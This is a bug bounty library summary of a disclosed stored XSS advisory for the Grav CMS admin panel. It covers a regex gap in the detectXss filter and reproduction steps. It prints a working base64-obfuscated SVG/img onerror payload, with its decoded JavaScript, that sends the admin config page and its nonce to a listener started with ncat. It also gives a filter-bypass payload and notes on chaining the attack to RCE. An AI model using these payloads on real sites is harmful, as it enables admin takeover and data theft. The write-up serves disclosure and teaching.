# Grav is Vulnerable to Stored XSS via Tag Injection

Low-privileged Grav page author injects SVG-wrapped img onerror payload bypassing detectXss regex; Super Admin visit exfiltrates admin_nonce and system info, chainable to RCE.

- Payout: Research
- Severity: high
- Program: Grav
- Found by: KhanMarshaI
- Disclosed: 2026-05-05
- CVE: CVE-2026-42611
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-w8cg-7jcj-4vv2
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-w8cg-7jcj-4vv2
- Tags: area:web domain:web impact:ato impact:data-leak impact:privesc kind:research platform:ghsa sev:high tech:php technique:chained technique:source-review vuln:xss

**Target:** admin/pages/<page> content field, Security::detectXss filter
**Root cause:** The on_events regex requires a whitespace/quote/slash before the handler name, so unquoted handlers like `onload=`/`onerror=` after a space-less attribute boundary slip through; svg/math/option/select were also absent from the dangerous_tags blacklist.
**Steps:**
1. Create a low-privileged user with only login + Pages CRUD permission.
2. Log in as that user and open admin/pages/<page>.
3. Insert page content: `<svg><foreignObject><img src=x onerror=eval(atob('KGFzeW5jKCk9PntsZXQgcj1hd2FpdCBmZXRjaCgnL2dyYXYtYWRtaW4vYWRtaW4vY29uZmlnL2luZm8nKTtsZXQgdD1hd2FpdCByLnRleHQoKTtuYXZpZ2F0b3Iuc2VuZEJlYWNvbignaHR0cDovLzEyNy4wLjAuMTo4MDAxL2dyYXYtbG9nJyx0KX0pKCk7'))></foreignObject></svg>`
4. Start `ncat -lvnp 8001` listener.
5. As Super Admin, visit `/grav-admin/`; the beacon POSTs the /admin/config/info HTML (containing admin_nonce) to the listener.
**How found:** Code review of Security::detectXss: noticed the on_events regex assumes a whitespace/quote/slash precedes the handler name, hypothesized unquoted handlers would evade it, and confirmed with `<img src=x onload=alert('1')>` then an SVG-wrapped exfil payload.
**Exploitation:** Stored payload executes in the Super Admin's session on page view, fetches /grav-admin/admin/config/info same-origin, and exfiltrates the response (including admin_nonce) via navigator.sendBeacon to an attacker listener; the nonce then bypasses CSRF for further admin requests, chainable to RCE via scheduled tasks/plugins.
**Escalation:** Nonce theft enables authenticated admin actions; Grav scheduled tasks and plugin architecture allow escalation to full server RCE.
**Insight:** When auditing blacklist XSS filters, check the character class immediately preceding the matched token — regexes that require a delimiter before `on*=` miss unquoted handlers; also test namespace-bearing tags (svg, math) and select/option breakout contexts that blacklists commonly omit.

## Proof of concept (copied exactly from the original report)

**Stored XSS payload injected into page content**

```
<svg><foreignObject><img src=x onerror=eval(atob('KGFzeW5jKCk9PntsZXQgcj1hd2FpdCBmZXRjaCgnL2dyYXYtYWRtaW4vYWRtaW4vY29uZmlnL2luZm8nKTtsZXQgdD1hd2FpdCByLnRleHQoKTtuYXZpZ2F0b3Iuc2VuZEJlYWNvbignaHR0cDovLzEyNy4wLjAuMTo4MDAxL2dyYXYtbG9nJyx0KX0pKCk7'))></foreignObject></svg>
```

**Decoded JS exfiltrating admin config info**

```
(async()=>{let r=await fetch('/grav-admin/admin/config/info');let t=await r.text();navigator.sendBeacon('http://127.0.0.1:8001/grav-log',t)})();
```

**Bypass payload for on_events regex**

```
<img src=x onload=alert('1')>
```

